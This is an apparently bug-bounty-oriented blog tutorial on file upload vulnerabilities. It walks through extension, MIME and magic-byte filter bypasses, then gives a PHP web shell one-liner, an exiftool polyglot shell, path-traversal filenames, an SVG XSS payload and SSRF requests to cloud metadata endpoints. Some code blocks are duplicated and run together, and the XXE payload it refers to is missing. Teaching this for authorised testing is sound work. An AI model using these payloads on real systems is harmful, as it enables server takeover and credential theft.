October 23, 2026
How to Find File Upload Vulnerabilities: Step-by-Step Bug Bounty Guide
A practical, detailed method to turn a simple upload button into RCE, XSS, or full server compromise

By Monika
5 min read
So far in this series, we've covered JS recon, IDOR, Business Logic bugs, Subdomain Takeovers, and Rate Limiting Bypass. Today we're looking at one of the highest-impact bug classes in bug bounty: File Upload Vulnerabilities.
Almost every application has an upload feature somewhere โ profile pictures, resumes, documents, chat attachments, CSV imports. Each one of these is a potential entry point, and when upload validation is done badly, the impact ranges from stored XSS all the way up to full Remote Code Execution.
Why file upload bugs are so high-impact
Most developers only validate uploads on the frontend (accepting only '.jpg', '.png' in the file picker), or do a weak backend check like looking at the file extension or Content-Type header โ both of which are trivial to bypass. The real question an attacker asks is:
Can I get the server to treat my file as something it's not โ and then execute or serve it?
If yes, you've got anything from stored XSS to RCE, depending on what the server does with the uploaded file afterward.
Step 1: Map every upload point on the target
Before testing anything, find every place a file can be uploaded:
- Profile picture / avatar upload
- Resume / document upload (job portals)
- Chat or support ticket attachments
- CSV/Excel import features
- PDF/invoice generation tools
- Any "import" or "bulk upload" admin feature
Use Burp Suite to capture the exact request format each one uses โ multipart form data, base64 in JSON, or a separate pre-signed upload URL (common with S3-backed uploads).
Step 2: Understand what validation is actually happening
Upload one legitimate file first (a real '.jpg'), then intercept the request in Burp Repeater and start modifying it. Check validation at each of these layers:
- File extension โ is '.php', '.jsp', '.asp' blocked, or only checked loosely?
- MIME type / Content-Type header โ is it checked at all, or just trusted from the client?
- File content / magic bytes โ does the server actually verify the file is what it claims to be?
- File size โ is there a limit, and is it enforced server-side?
- Filename โ are special characters, path traversal sequences, or double extensions sanitized?
Step 3: Bypass extension-based filters
If '.php' is blocked, try these common bypass patterns โ different servers/configs handle each differently:
shell.php
shell.php.jpg
shell.php%00.jpg (null byte โ works on older PHP/Apache configs)
shell.pHp
shell.php;.jpg
shell.phtml
shell.php5
shell.php7
shell.phar
shell.asp;.jpg
shell.asa
shell.cer
shell.jspx
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="file"; filename="shell.phtml"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------X--shell.php
shell.php.jpg
shell.php%00.jpg (null byte โ works on older PHP/Apache configs)
shell.pHp
shell.php;.jpg
shell.phtml
shell.php5
shell.php7
shell.phar
shell.asp;.jpg
shell.asa
shell.cer
shell.jspx
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="file"; filename="shell.phtml"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------X--If the server accepts an extension like '.phtml' or '.php5' and the web server is configured to execute those too, you have RCE.
Step 4: Bypass MIME type / Content-Type checks
Many apps only check the 'Content-Type' header in the multipart request โ which is fully controlled by the attacker and trivial to fake:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpegContent-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpegJust changing this header to match an allowed type (while keeping the malicious extension or content) is often enough to slip past a lazy backend check.
Step 5: Bypass magic byte / file signature checks
Stricter backends check the first few bytes of a file (the "magic bytes") to confirm it's a real image. You can bypass this by prepending valid image magic bytes before your malicious payload:
GIF89a;
<?php system($_GET['cmd']); ?>GIF89a;
<?php system($_GET['cmd']); ?>Save this as 'shell.php' โ the 'GIF89a;' header makes it pass a basic magic-byte check while the PHP code still executes if the server later processes it as a script.
For a polyglot approach (a file that is simultaneously valid as an image AND executes as a script), you can also embed PHP code inside an actual valid JPEG's EXIF metadata using 'exiftool':
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" original.jpg -o shell.jpgexiftool -Comment="<?php system(\$_GET['cmd']); ?>" original.jpg -o shell.jpgThen rename or upload it in a way that triggers the server to parse '.jpg' as PHP (works where there's a secondary file inclusion/rename bug, or misconfigured Apache handlers).
Step 6: Test path traversal via filename
If the server uses the filename you send (even partially) when saving the file, test for path traversal:
Content-Disposition: form-data; name="file"; filename="../../../../var/www/html/shell.php"
Content-Disposition: form-data; name="file"; filename="..%2f..%2f..%2fshell.php"Content-Disposition: form-data; name="file"; filename="../../../../var/www/html/shell.php"
Content-Disposition: form-data; name="file"; filename="..%2f..%2f..%2fshell.php"If this lets you write the file outside the intended upload directory โ especially into a web-accessible, script-executable directory โ that's a critical finding.
Step 7: Test for stored XSS via file uploads
Even if the server properly blocks executable file types, uploads can still lead to stored XSS if:
- SVG files are allowed (SVG can contain embedded '
- HTML files are allowed and served with the wrong 'Content-Type'
- The filename itself is reflected unsanitized somewhere in the UI
Test SVG upload with an embedded payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">alert(document.domain)</script>
</svg><?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">alert(document.domain)</script>
</svg>If this file gets rendered directly in the browser (instead of forced-downloaded) when another user views it, that's a valid stored XSS via file upload.
Step 8: Test filename-based injection and XXE (for document uploads)
For apps that accept '.docx', '.xlsx', or '.xml' files (which are just zipped XML under the hood), test for XXE (XML External Entity) injection:
Embed this inside one of the XML parts of a '.docx' / '.xlsx' file (e.g., inside word/document.xml after unzipping, editing, and rezipping), then re-upload. If the server parses it without disabling external entities, you can read local files off the server.
# Unzip a docx (it's just a zip file)
unzip test.docx -d test_docx
# Edit test_docx/word/document.xml to inject the XXE payload
# Rezip it back into a valid docx
cd test_docx && zip -r ../payload.docx .# Unzip a docx (it's just a zip file)
unzip test.docx -d test_docx
# Edit test_docx/word/document.xml to inject the XXE payload
# Rezip it back into a valid docx
cd test_docx && zip -r ../payload.docx .Step 9: Test for SSRF via import-from-URL features
Some upload features let you import a file from a URL instead of uploading directly (common in CMS platforms, avatar pickers, "import from link" features). Test these for SSRF:
POST /api/upload-from-url
{"url": "http://169.254.169.254/latest/meta-data/"}
{"url": "http://localhost:8080/admin"}
{"url": "file:///etc/passwd"}POST /api/upload-from-url
{"url": "http://169.254.169.254/latest/meta-data/"}
{"url": "http://localhost:8080/admin"}
{"url": "file:///etc/passwd"}If the server fetches and returns/processes content from internal addresses, this is a high-severity SSRF โ and cloud metadata endpoints (169.254.169.254) can leak credentials if the server runs on AWS/GCP/Azure.
Step 10: Check where the uploaded file ends up
After a successful upload, always check:
- Is the file served from the same domain (allowing script execution), or a separate storage domain/CDN (safer)?
- Is the upload directory predictable ('/uploads/{filename}') or randomized with unguessable names?
- Can you access other users' uploaded files by guessing/enumerating filenames? (This overlaps with IDOR โ see our earlier article in this series)
Reporting tips
- Always demonstrate real impact โ a successful RCE PoC (even just 'whoami' or 'id' output via your uploaded shell) is far more convincing than "I uploaded a .php file"
- For stored XSS via upload, show the payload firing in another session/browser, not just reflected in your own
- For XXE, show the actual file content you were able to read ('/etc/passwd' is the classic proof)
- Include the exact bypass technique used (magic bytes, double extension, null byte, etc.) so the triager understands why existing validation failed
Final Thoughts
File upload vulnerabilities reward thoroughness โ most developers get the "obvious" check right (blocking '.exe', '.php' outright) but miss the layered checks (magic bytes, MIME type trust, path traversal in filenames, XXE in document formats). Go through each validation layer methodically instead of just throwing one payload and giving up.
Combined with the other techniques in this series โ JS recon, IDOR, Business Logic bugs, Subdomain Takeovers, and Rate Limiting โ you now have a well-rounded methodology that covers most of the bug classes programs actually pay well for.
If this guide helped you, consider buying me a coffee โ โ it keeps me motivated to dig up and write more bugs like this. Buy me a coffee
Monika Hi, I'm Monika โจI break down real-world bug bounty reports into simple, practical write-ups.If my articles help youโฆ